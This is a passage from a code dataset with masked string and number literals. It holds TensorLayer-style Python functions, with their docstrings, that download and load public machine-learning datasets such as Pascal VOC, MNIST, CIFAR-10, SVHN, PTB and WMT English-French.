int(size.find('<STR_LIT>').text)<EOL>n_objs = <NUM_LIT:0><EOL>for obj in root.iter('<STR_LIT:object>'):<EOL><INDENT>if dataset != \"<STR_LIT>\":<EOL><INDENT>difficult = obj.find('<STR_LIT>').text<EOL>cls = obj.find('<STR_LIT:name>').text<EOL>if cls not in classes or int(difficult) == <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cls = obj.find('<STR_LIT:name>').text<EOL>if cls not in classes:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>cls_id = classes.index(cls)<EOL>xmlbox = obj.find('<STR_LIT>')<EOL>b = (<EOL>float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text),<EOL>float(xmlbox.find('<STR_LIT>').text)<EOL>)<EOL>bb = convert((w, h), b)<EOL>out_file += str(cls_id) + \"<STR_LIT:U+0020>\" + \"<STR_LIT:U+0020>\".join([str(a) for a in bb]) + '<STR_LIT:\\n>'<EOL>n_objs += <NUM_LIT:1><EOL>if cls in \"<STR_LIT>\":<EOL><INDENT>for part in obj.iter('<STR_LIT>'):<EOL><INDENT>cls = part.find('<STR_LIT:name>').text<EOL>if cls not in classes_in_person:<EOL><INDENT>continue<EOL><DEDENT>cls_id = classes.index(cls)<EOL>xmlbox = part.find('<STR_LIT>')<EOL>b = (<EOL>float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text),<EOL>float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text)<EOL>)<EOL>bb = convert((w, h), b)<EOL>out_file += str(cls_id) + \"<STR_LIT:U+0020>\" + \"<STR_LIT:U+0020>\".join([str(a) for a in bb]) + '<STR_LIT:\\n>'<EOL>n_objs += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>in_file.close()<EOL>return n_objs, out_file<EOL><DEDENT>logging.info(\"<STR_LIT>\")<EOL>n_objs_list = []<EOL>objs_info_list = []  <EOL>objs_info_dicts = {}<EOL>for idx, ann_file in enumerate(imgs_ann_file_list):<EOL><INDENT>n_objs, objs_info = convert_annotation(ann_file)<EOL>n_objs_list.append(n_objs)<EOL>objs_info_list.append(objs_info)<EOL>with tf.gfile.GFile(ann_file, '<STR_LIT:r>') as fid:<EOL><INDENT>xml_str = fid.read()<EOL><DEDENT>xml = etree.fromstring(xml_str)<EOL>data = _recursive_parse_xml_to_dict(xml)['<STR_LIT>']<EOL>objs_info_dicts.update({imgs_file_list[idx]: data})<EOL><DEDENT>return imgs_file_list, imgs_semseg_file_list, imgs_insseg_file_list, imgs_ann_file_list, classes, classes_in_person, classes_dict, n_objs_list, objs_info_list, objs_info_dicts<EOL>", "docstring": "Pascal VOC 2007/2012 Dataset.\n\n    It has 20 objects:\n    aeroplane, bicycle, bird, boat, bottle, bus, car, cat, chair, cow, diningtable, dog, horse, motorbike, person, pottedplant, sheep, sofa, train, tvmonitor\n    and additional 3 classes : head, hand, foot for person.\n\n    Parameters\n    -----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/VOC``.\n    dataset : str\n        The VOC dataset version, `2012`, `2007`, `2007test` or `2012test`. We usually train model on `2007+2012` and test it on `2007test`.\n    contain_classes_in_person : boolean\n        Whether include head, hand and foot annotation, default is False.\n\n    Returns\n    ---------\n    imgs_file_list : list of str\n        Full paths of all images.\n    imgs_semseg_file_list : list of str\n        Full paths of all maps for semantic segmentation. Note that not all images have this map!\n    imgs_insseg_file_list : list of str\n        Full paths of all maps for instance segmentation. Note that not all images have this map!\n    imgs_ann_file_list : list of str\n        Full paths of all annotations for bounding box and object class, all images have this annotations.\n    classes : list of str\n        Classes in order.\n    classes_in_person : list of str\n        Classes in person.\n    classes_dict : dictionary\n        Class label to integer.\n    n_objs_list : list of int\n        Number of objects in all images in ``imgs_file_list`` in order.\n    objs_info_list : list of str\n        Darknet format for the annotation of all images in ``imgs_file_list`` in order. ``[class_id x_centre y_centre width height]`` in ratio format.\n    objs_info_dicts : dictionary\n        The annotation of all images in ``imgs_file_list``, ``{imgs_file_list : dictionary for annotation}``,\n        format from `TensorFlow/Models/object-detection <https://github.com/tensorflow/models/blob/master/object_detection/create_pascal_tf_record.py>`__.\n\n    Examples\n    ----------\n    >>> imgs_file_list, imgs_semseg_file_list, imgs_insseg_file_list, imgs_ann_file_list,\n    >>>     classes, classes_in_person, classes_dict,\n    >>>     n_objs_list, objs_info_list, objs_info_dicts = tl.files.load_voc_dataset(dataset=\"2012\", contain_classes_in_person=False)\n    >>> idx = 26\n    >>> print(classes)\n    ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train', 'tvmonitor']\n    >>> print(classes_dict)\n    {'sheep': 16, 'horse': 12, 'bicycle': 1, 'bottle': 4, 'cow': 9, 'sofa': 17, 'car': 6, 'dog': 11, 'cat': 7, 'person': 14, 'train': 18, 'diningtable': 10, 'aeroplane': 0, 'bus': 5, 'pottedplant': 15, 'tvmonitor': 19, 'chair': 8, 'bird': 2, 'boat': 3, 'motorbike': 13}\n    >>> print(imgs_file_list[idx])\n    data/VOC/VOC2012/JPEGImages/2007_000423.jpg\n    >>> print(n_objs_list[idx])\n    2\n    >>> print(imgs_ann_file_list[idx])\n    data/VOC/VOC2012/Annotations/2007_000423.xml\n    >>> print(objs_info_list[idx])\n    14 0.173 0.461333333333 0.142 0.496\n    14 0.828 0.542666666667 0.188 0.594666666667\n    >>> ann = tl.prepro.parse_darknet_ann_str_to_list(objs_info_list[idx])\n    >>> print(ann)\n    [[14, 0.173, 0.461333333333, 0.142, 0.496], [14, 0.828, 0.542666666667, 0.188, 0.594666666667]]\n    >>> c, b = tl.prepro.parse_darknet_ann_list_to_cls_box(ann)\n    >>> print(c, b)\n    [14, 14] [[0.173, 0.461333333333, 0.142, 0.496], [0.828, 0.542666666667, 0.188, 0.594666666667]]\n\n    References\n    -------------\n    - `Pascal VOC2012 Website <https://pjreddie.com/projects/pascal-voc-dataset-mirror/>`__.\n    - `Pascal VOC2007 Website <https://pjreddie.com/projects/pascal-voc-dataset-mirror/>`__.", "id": "f11134:m0"}
{"signature": "def _load_mnist_dataset(shape, path, name='<STR_LIT>', url='<STR_LIT>'):", "body": "path = os.path.join(path, name)<EOL>def load_mnist_images(path, filename):<EOL><INDENT>filepath = maybe_download_and_extract(filename, path, url)<EOL>logging.info(filepath)<EOL>with gzip.open(filepath, '<STR_LIT:rb>') as f:<EOL><INDENT>data = np.frombuffer(f.read(), np.uint8, offset=<NUM_LIT:16>)<EOL><DEDENT>data = data.reshape(shape)<EOL>return data / np.float32(<NUM_LIT>)<EOL><DEDENT>def load_mnist_labels(path, filename):<EOL><INDENT>filepath = maybe_download_and_extract(filename, path, url)<EOL>with gzip.open(filepath, '<STR_LIT:rb>') as f:<EOL><INDENT>data = np.frombuffer(f.read(), np.uint8, offset=<NUM_LIT:8>)<EOL><DEDENT>return data<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(name.upper(), path))<EOL>X_train = load_mnist_images(path, '<STR_LIT>')<EOL>y_train = load_mnist_labels(path, '<STR_LIT>')<EOL>X_test = load_mnist_images(path, '<STR_LIT>')<EOL>y_test = load_mnist_labels(path, '<STR_LIT>')<EOL>X_train, X_val = X_train[:-<NUM_LIT>], X_train[-<NUM_LIT>:]<EOL>y_train, y_val = y_train[:-<NUM_LIT>], y_train[-<NUM_LIT>:]<EOL>X_train = np.asarray(X_train, dtype=np.float32)<EOL>y_train = np.asarray(y_train, dtype=np.int32)<EOL>X_val = np.asarray(X_val, dtype=np.float32)<EOL>y_val = np.asarray(y_val, dtype=np.int32)<EOL>X_test = np.asarray(X_test, dtype=np.float32)<EOL>y_test = np.asarray(y_test, dtype=np.int32)<EOL>return X_train, y_train, X_val, y_val, X_test, y_test<EOL>", "docstring": "A generic function to load mnist-like dataset.\n\n    Parameters:\n    ----------\n    shape : tuple\n        The shape of digit images.\n    path : str\n        The path that the data is downloaded to.\n    name : str\n        The dataset name you want to use(the default is 'mnist').\n    url : str\n        The url of dataset(the default is 'http://yann.lecun.com/exdb/mnist/').", "id": "f11135:m0"}
{"signature": "def load_mnist_dataset(shape=(-<NUM_LIT:1>, <NUM_LIT>), path='<STR_LIT:data>'):", "body": "return _load_mnist_dataset(shape, path, name='<STR_LIT>', url='<STR_LIT>')<EOL>", "docstring": "Load the original mnist.\n\n    Automatically download MNIST dataset and return the training, validation and test set with 50000, 10000 and 10000 digit images respectively.\n\n    Parameters\n    ----------\n    shape : tuple\n        The shape of digit images (the default is (-1, 784), alternatively (-1, 28, 28, 1)).\n    path : str\n        The path that the data is downloaded to.\n\n    Returns\n    -------\n    X_train, y_train, X_val, y_val, X_test, y_test: tuple\n        Return splitted training/validation/test set respectively.\n\n    Examples\n    --------\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_mnist_dataset(shape=(-1,784), path='datasets')\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_mnist_dataset(shape=(-1, 28, 28, 1))", "id": "f11137:m0"}
{"signature": "def load_fashion_mnist_dataset(shape=(-<NUM_LIT:1>, <NUM_LIT>), path='<STR_LIT:data>'):", "body": "return _load_mnist_dataset(<EOL>shape, path, name='<STR_LIT>', url='<STR_LIT>'<EOL>)<EOL>", "docstring": "Load the fashion mnist.\n\n    Automatically download fashion-MNIST dataset and return the training, validation and test set with 50000, 10000 and 10000 fashion images respectively, `examples <http://marubon-ds.blogspot.co.uk/2017/09/fashion-mnist-exploring.html>`__.\n\n    Parameters\n    ----------\n    shape : tuple\n        The shape of digit images (the default is (-1, 784), alternatively (-1, 28, 28, 1)).\n    path : str\n        The path that the data is downloaded to.\n\n    Returns\n    -------\n    X_train, y_train, X_val, y_val, X_test, y_test: tuple\n        Return splitted training/validation/test set respectively.\n\n    Examples\n    --------\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_fashion_mnist_dataset(shape=(-1,784), path='datasets')\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_fashion_mnist_dataset(shape=(-1, 28, 28, 1))", "id": "f11137:m1"}
{"signature": "def _load_mnist_dataset(shape, path, name='<STR_LIT>', url='<STR_LIT>'):", "body": "path = os.path.join(path, name)<EOL>def load_mnist_images(path, filename):<EOL><INDENT>filepath = maybe_download_and_extract(filename, path, url)<EOL>logging.info(filepath)<EOL>with gzip.open(filepath, '<STR_LIT:rb>') as f:<EOL><INDENT>data = np.frombuffer(f.read(), np.uint8, offset=<NUM_LIT:16>)<EOL><DEDENT>data = data.reshape(shape)<EOL>return data / np.float32(<NUM_LIT>)<EOL><DEDENT>def load_mnist_labels(path, filename):<EOL><INDENT>filepath = maybe_download_and_extract(filename, path, url)<EOL>with gzip.open(filepath, '<STR_LIT:rb>') as f:<EOL><INDENT>data = np.frombuffer(f.read(), np.uint8, offset=<NUM_LIT:8>)<EOL><DEDENT>return data<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(name.upper(), path))<EOL>X_train = load_mnist_images(path, '<STR_LIT>')<EOL>y_train = load_mnist_labels(path, '<STR_LIT>')<EOL>X_test = load_mnist_images(path, '<STR_LIT>')<EOL>y_test = load_mnist_labels(path, '<STR_LIT>')<EOL>X_train, X_val = X_train[:-<NUM_LIT>], X_train[-<NUM_LIT>:]<EOL>y_train, y_val = y_train[:-<NUM_LIT>], y_train[-<NUM_LIT>:]<EOL>X_train = np.asarray(X_train, dtype=np.float32)<EOL>y_train = np.asarray(y_train, dtype=np.int32)<EOL>X_val = np.asarray(X_val, dtype=np.float32)<EOL>y_val = np.asarray(y_val, dtype=np.int32)<EOL>X_test = np.asarray(X_test, dtype=np.float32)<EOL>y_test = np.asarray(y_test, dtype=np.int32)<EOL>return X_train, y_train, X_val, y_val, X_test, y_test<EOL>", "docstring": "A generic function to load mnist-like dataset.\n\n    Parameters:\n    ----------\n    shape : tuple\n        The shape of digit images.\n    path : str\n        The path that the data is downloaded to.\n    name : str\n        The dataset name you want to use(the default is 'mnist').\n    url : str\n        The url of dataset(the default is 'http://yann.lecun.com/exdb/mnist/').", "id": "f11137:m2"}
{"signature": "def load_cifar10_dataset(shape=(-<NUM_LIT:1>, <NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>), path='<STR_LIT:data>', plotable=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>def unpickle(file):<EOL><INDENT>fp = open(file, '<STR_LIT:rb>')<EOL>if sys.version_info.major == <NUM_LIT:2>:<EOL><INDENT>data = pickle.load(fp)<EOL><DEDENT>elif sys.version_info.major == <NUM_LIT:3>:<EOL><INDENT>data = pickle.load(fp, encoding='<STR_LIT>')<EOL><DEDENT>fp.close()<EOL>return data<EOL><DEDENT>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>maybe_download_and_extract(filename, path, url, extract=True)<EOL>X_train = None<EOL>y_train = []<EOL>for i in range(<NUM_LIT:1>, <NUM_LIT:6>):<EOL><INDENT>data_dic = unpickle(os.path.join(path, '<STR_LIT>', \"<STR_LIT>\".format(i)))<EOL>if i == <NUM_LIT:1>:<EOL><INDENT>X_train = data_dic['<STR_LIT:data>']<EOL><DEDENT>else:<EOL><INDENT>X_train = np.vstack((X_train, data_dic['<STR_LIT:data>']))<EOL><DEDENT>y_train += data_dic['<STR_LIT>']<EOL><DEDENT>test_data_dic = unpickle(os.path.join(path, '<STR_LIT>', \"<STR_LIT>\"))<EOL>X_test = test_data_dic['<STR_LIT:data>']<EOL>y_test = np.array(test_data_dic['<STR_LIT>'])<EOL>if shape == (-<NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:32>, <NUM_LIT:32>):<EOL><INDENT>X_test = X_test.reshape(shape)<EOL>X_train = X_train.reshape(shape)<EOL><DEDENT>elif shape == (-<NUM_LIT:1>, <NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>):<EOL><INDENT>X_test = X_test.reshape(shape, order='<STR_LIT:F>')<EOL>X_train = X_train.reshape(shape, order='<STR_LIT:F>')<EOL>X_test = np.transpose(X_test, (<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:3>))<EOL>X_train = np.transpose(X_train, (<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:3>))<EOL><DEDENT>else:<EOL><INDENT>X_test = X_test.reshape(shape)<EOL>X_train = X_train.reshape(shape)<EOL><DEDENT>y_train = np.array(y_train)<EOL>if plotable:<EOL><INDENT>logging.info('<STR_LIT>')<EOL>fig = plt.figure(<NUM_LIT:1>)<EOL>logging.info('<STR_LIT>' % X_train[<NUM_LIT:0>].shape)<EOL>plt.ion()  <EOL>count = <NUM_LIT:1><EOL>for _ in range(<NUM_LIT:10>):  <EOL><INDENT>for _ in range(<NUM_LIT:10>):  <EOL><INDENT>_ = fig.add_subplot(<NUM_LIT:10>, <NUM_LIT:10>, count)<EOL>if shape == (-<NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:32>, <NUM_LIT:32>):<EOL><INDENT>plt.imshow(np.transpose(X_train[count - <NUM_LIT:1>], (<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:0>)), interpolation='<STR_LIT>')<EOL><DEDENT>elif shape == (-<NUM_LIT:1>, <NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>):<EOL><INDENT>plt.imshow(X_train[count - <NUM_LIT:1>], interpolation='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>plt.gca().xaxis.set_major_locator(plt.NullLocator())  <EOL>plt.gca().yaxis.set_major_locator(plt.NullLocator())<EOL>count = count + <NUM_LIT:1><EOL><DEDENT><DEDENT>plt.draw()  <EOL>plt.pause(<NUM_LIT:3>)  <EOL>logging.info(\"<STR_LIT>\" % X_train.shape)<EOL>logging.info(\"<STR_LIT>\" % y_train.shape)<EOL>logging.info(\"<STR_LIT>\" % X_test.shape)<EOL>logging.info(\"<STR_LIT>\" % y_test.shape)<EOL><DEDENT>X_train = np.asarray(X_train, dtype=np.float32)<EOL>X_test = np.asarray(X_test, dtype=np.float32)<EOL>y_train = np.asarray(y_train, dtype=np.int32)<EOL>y_test = np.asarray(y_test, dtype=np.int32)<EOL>return X_train, y_train, X_test, y_test<EOL>", "docstring": "Load CIFAR-10 dataset.\n\n    It consists of 60000 32x32 colour images in 10 classes, with\n    6000 images per class. There are 50000 training images and 10000 test images.\n\n    The dataset is divided into five training batches and one test batch, each with\n    10000 images. The test batch contains exactly 1000 randomly-selected images from\n    each class. The training batches contain the remaining images in random order,\n    but some training batches may contain more images from one class than another.\n    Between them, the training batches contain exactly 5000 images from each class.\n\n    Parameters\n    ----------\n    shape : tupe\n        The shape of digit images e.g. (-1, 3, 32, 32) and (-1, 32, 32, 3).\n    path : str\n        The path that the data is downloaded to, defaults is ``data/cifar10/``.\n    plotable : boolean\n        Whether to plot some image examples, False as default.\n\n    Examples\n    --------\n    >>> X_train, y_train, X_test, y_test = tl.files.load_cifar10_dataset(shape=(-1, 32, 32, 3))\n\n    References\n    ----------\n    - `CIFAR website <https://www.cs.toronto.edu/~kriz/cifar.html>`__\n    - `Data download link <https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz>`__\n    - `<https://teratail.com/questions/28932>`__", "id": "f11137:m3"}
{"signature": "def load_cropped_svhn(path='<STR_LIT:data>', include_extra=True):", "body": "start_time = time.time()<EOL>path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path, include_extra))<EOL>url = \"<STR_LIT>\"<EOL>np_file = os.path.join(path, \"<STR_LIT>\")<EOL>if file_exists(np_file) is False:<EOL><INDENT>filename = \"<STR_LIT>\"<EOL>filepath = maybe_download_and_extract(filename, path, url)<EOL>mat = sio.loadmat(filepath)<EOL>X_train = mat['<STR_LIT:X>'] / <NUM_LIT>  <EOL>X_train = np.transpose(X_train, (<NUM_LIT:3>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>))<EOL>y_train = np.squeeze(mat['<STR_LIT:y>'], axis=<NUM_LIT:1>)<EOL>y_train[y_train == <NUM_LIT:10>] = <NUM_LIT:0>  <EOL>np.savez(np_file, X=X_train, y=y_train)<EOL>del_file(filepath)<EOL><DEDENT>else:<EOL><INDENT>v = np.load(np_file)<EOL>X_train = v['<STR_LIT:X>']<EOL>y_train = v['<STR_LIT:y>']<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(len(y_train)))<EOL>np_file = os.path.join(path, \"<STR_LIT>\")<EOL>if file_exists(np_file) is False:<EOL><INDENT>filename = \"<STR_LIT>\"<EOL>filepath = maybe_download_and_extract(filename, path, url)<EOL>mat = sio.loadmat(filepath)<EOL>X_test = mat['<STR_LIT:X>'] / <NUM_LIT><EOL>X_test = np.transpose(X_test, (<NUM_LIT:3>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>))<EOL>y_test = np.squeeze(mat['<STR_LIT:y>'], axis=<NUM_LIT:1>)<EOL>y_test[y_test == <NUM_LIT:10>] = <NUM_LIT:0><EOL>np.savez(np_file, X=X_test, y=y_test)<EOL>del_file(filepath)<EOL><DEDENT>else:<EOL><INDENT>v = np.load(np_file)<EOL>X_test = v['<STR_LIT:X>']<EOL>y_test = v['<STR_LIT:y>']<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(len(y_test)))<EOL>if include_extra:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>np_file = os.path.join(path, \"<STR_LIT>\")<EOL>if file_exists(np_file) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>filename = \"<STR_LIT>\"<EOL>filepath = maybe_download_and_extract(filename, path, url)<EOL>mat = sio.loadmat(filepath)<EOL>X_extra = mat['<STR_LIT:X>'] / <NUM_LIT><EOL>X_extra = np.transpose(X_extra, (<NUM_LIT:3>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>))<EOL>y_extra = np.squeeze(mat['<STR_LIT:y>'], axis=<NUM_LIT:1>)<EOL>y_extra[y_extra == <NUM_LIT:10>] = <NUM_LIT:0><EOL>np.savez(np_file, X=X_extra, y=y_extra)<EOL>del_file(filepath)<EOL><DEDENT>else:<EOL><INDENT>v = np.load(np_file)<EOL>X_extra = v['<STR_LIT:X>']<EOL>y_extra = v['<STR_LIT:y>']<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(len(y_extra), len(y_train)))<EOL>t = time.time()<EOL>X_train = np.concatenate((X_train, X_extra), <NUM_LIT:0>)<EOL>y_train = np.concatenate((y_train, y_extra), <NUM_LIT:0>)<EOL>logging.info(\"<STR_LIT>\".format(len(y_extra), len(y_train), time.time() - t))<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL><DEDENT>logging.info(\"<STR_LIT>\" % (str(X_train.shape[<NUM_LIT:1>:<NUM_LIT:4>]), len(y_train), len(y_test)))<EOL>logging.info(\"<STR_LIT>\".format(int(time.time() - start_time)))<EOL>return X_train, y_train, X_test, y_test<EOL>", "docstring": "Load Cropped SVHN.\n\n    The Cropped Street View House Numbers (SVHN) Dataset contains 32x32x3 RGB images.\n    Digit '1' has label 1, '9' has label 9 and '0' has label 0 (the original dataset uses 10 to represent '0'), see `ufldl website <http://ufldl.stanford.edu/housenumbers/>`__.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to.\n    include_extra : boolean\n        If True (default), add extra images to the training set.\n\n    Returns\n    -------\n    X_train, y_train, X_test, y_test: tuple\n        Return splitted training/test set respectively.\n\n    Examples\n    ---------\n    >>> X_train, y_train, X_test, y_test = tl.files.load_cropped_svhn(include_extra=False)\n    >>> tl.vis.save_images(X_train[0:100], [10, 10], 'svhn.png')", "id": "f11137:m4"}
{"signature": "def load_ptb_dataset(path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>maybe_download_and_extract(filename, path, url, extract=True)<EOL>data_path = os.path.join(path, '<STR_LIT>', '<STR_LIT:data>')<EOL>train_path = os.path.join(data_path, \"<STR_LIT>\")<EOL>valid_path = os.path.join(data_path, \"<STR_LIT>\")<EOL>test_path = os.path.join(data_path, \"<STR_LIT>\")<EOL>word_to_id = nlp.build_vocab(nlp.read_words(train_path))<EOL>train_data = nlp.words_to_word_ids(nlp.read_words(train_path), word_to_id)<EOL>valid_data = nlp.words_to_word_ids(nlp.read_words(valid_path), word_to_id)<EOL>test_data = nlp.words_to_word_ids(nlp.read_words(test_path), word_to_id)<EOL>vocab_size = len(word_to_id)<EOL>return train_data, valid_data, test_data, vocab_size<EOL>", "docstring": "Load Penn TreeBank (PTB) dataset.\n\n    It is used in many LANGUAGE MODELING papers,\n    including \"Empirical Evaluation and Combination of Advanced Language\n    Modeling Techniques\", \"Recurrent Neural Network Regularization\".\n    It consists of 929k training words, 73k validation words, and 82k test\n    words. It has 10k words in its vocabulary.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/ptb/``.\n\n    Returns\n    --------\n    train_data, valid_data, test_data : list of int\n        The training, validating and testing data in integer format.\n    vocab_size : int\n        The vocabulary size.\n\n    Examples\n    --------\n    >>> train_data, valid_data, test_data, vocab_size = tl.files.load_ptb_dataset()\n\n    References\n    ---------------\n    - ``tensorflow.models.rnn.ptb import reader``\n    - `Manual download <http://www.fit.vutbr.cz/~imikolov/rnnlm/simple-examples.tgz>`__\n\n    Notes\n    ------\n    - If you want to get the raw data, see the source code.", "id": "f11137:m5"}
{"signature": "def load_matt_mahoney_text8_dataset(path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>maybe_download_and_extract(filename, path, url, expected_bytes=<NUM_LIT>)<EOL>with zipfile.ZipFile(os.path.join(path, filename)) as f:<EOL><INDENT>word_list = f.read(f.namelist()[<NUM_LIT:0>]).split()<EOL>for idx, _ in enumerate(word_list):<EOL><INDENT>word_list[idx] = word_list[idx].decode()<EOL><DEDENT><DEDENT>return word_list<EOL>", "docstring": "Load Matt Mahoney's dataset.\n\n    Download a text file from Matt Mahoney's website\n    if not present, and make sure it's the right size.\n    Extract the first file enclosed in a zip file as a list of words.\n    This dataset can be used for Word Embedding.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/mm_test8/``.\n\n    Returns\n    --------\n    list of str\n        The raw text data e.g. [.... 'their', 'families', 'who', 'were', 'expelled', 'from', 'jerusalem', ...]\n\n    Examples\n    --------\n    >>> words = tl.files.load_matt_mahoney_text8_dataset()\n    >>> print('Data size', len(words))", "id": "f11137:m6"}
{"signature": "def load_nietzsche_dataset(path='<STR_LIT:data>'):", "body": "logging.info(\"<STR_LIT>\".format(path))<EOL>path = os.path.join(path, '<STR_LIT>')<EOL>filename = \"<STR_LIT>\"<EOL>url = '<STR_LIT>'<EOL>filepath = maybe_download_and_extract(filename, path, url)<EOL>with open(filepath, \"<STR_LIT:r>\") as f:<EOL><INDENT>words = f.read()<EOL>return words<EOL><DEDENT>", "docstring": "Load Nietzsche dataset.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/nietzsche/``.\n\n    Returns\n    --------\n    str\n        The content.\n\n    Examples\n    --------\n    >>> see tutorial_generate_text.py\n    >>> words = tl.files.load_nietzsche_dataset()\n    >>> words = basic_clean_str(words)\n    >>> words = words.split()", "id": "f11137:m8"}
{"signature": "def load_wmt_en_fr_dataset(path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>_WMT_ENFR_TRAIN_URL = \"<STR_LIT>\"<EOL>_WMT_ENFR_DEV_URL = \"<STR_LIT>\"<EOL>def gunzip_file(gz_path, new_path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logging.info(\"<STR_LIT>\" % (gz_path, new_path))<EOL>with gzip.open(gz_path, \"<STR_LIT:rb>\") as gz_file:<EOL><INDENT>with open(new_path, \"<STR_LIT:wb>\") as new_file:<EOL><INDENT>for line in gz_file:<EOL><INDENT>new_file.write(line)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>def get_wmt_enfr_train_set(path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>filename = \"<STR_LIT>\"<EOL>maybe_download_and_extract(filename, path, _WMT_ENFR_TRAIN_URL, extract=True)<EOL>train_path = os.path.join(path, \"<STR_LIT>\")<EOL>gunzip_file(train_path + \"<STR_LIT>\", train_path + \"<STR_LIT>\")<EOL>gunzip_file(train_path + \"<STR_LIT>\", train_path + \"<STR_LIT>\")<EOL>return train_path<EOL><DEDENT>def get_wmt_enfr_dev_set(path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>filename = \"<STR_LIT>\"<EOL>dev_file = maybe_download_and_extract(filename, path, _WMT_ENFR_DEV_URL, extract=False)<EOL>dev_name = \"<STR_LIT>\"<EOL>dev_path = os.path.join(path, \"<STR_LIT>\")<EOL>if not (gfile.Exists(dev_path + \"<STR_LIT>\") and gfile.Exists(dev_path + \"<STR_LIT>\")):<EOL><INDENT>logging.info(\"<STR_LIT>\" % dev_file)<EOL>with tarfile.open(dev_file, \"<STR_LIT>\") as dev_tar:<EOL><INDENT>fr_dev_file = dev_tar.getmember(\"<STR_LIT>\" + dev_name + \"<STR_LIT>\")<EOL>en_dev_file = dev_tar.getmember(\"<STR_LIT>\" + dev_name + \"<STR_LIT>\")<EOL>fr_dev_file.name = dev_name + \"<STR_LIT>\"  <EOL>en_dev_file.name = dev_name + \"<STR_LIT>\"<EOL>dev_tar.extract(fr_dev_file, path)<EOL>dev_tar.extract(en_dev_file, path)<EOL><DEDENT><DEDENT>return dev_path<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(path))<EOL>train_path = get_wmt_enfr_train_set(path)<EOL>dev_path = get_wmt_enfr_dev_set(path)<EOL>return train_path, dev_path<EOL>", "docstring": "Load WMT'15 English-to-French translation dataset.\n\n    It will download the data from the WMT'15 Website (10^9-French-English corpus), and the 2013 news test from the same site as development set.\n    Returns the directories of training data and test data.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/wmt_en_fr/``.\n\n    References\n    ----------\n    - Code modified from /tensorflow/models/rnn/translation/data_utils.py\n\n    Notes\n    -----\n    Usually, it will take a long time to download this dataset.", "id": "f11137:m9"}
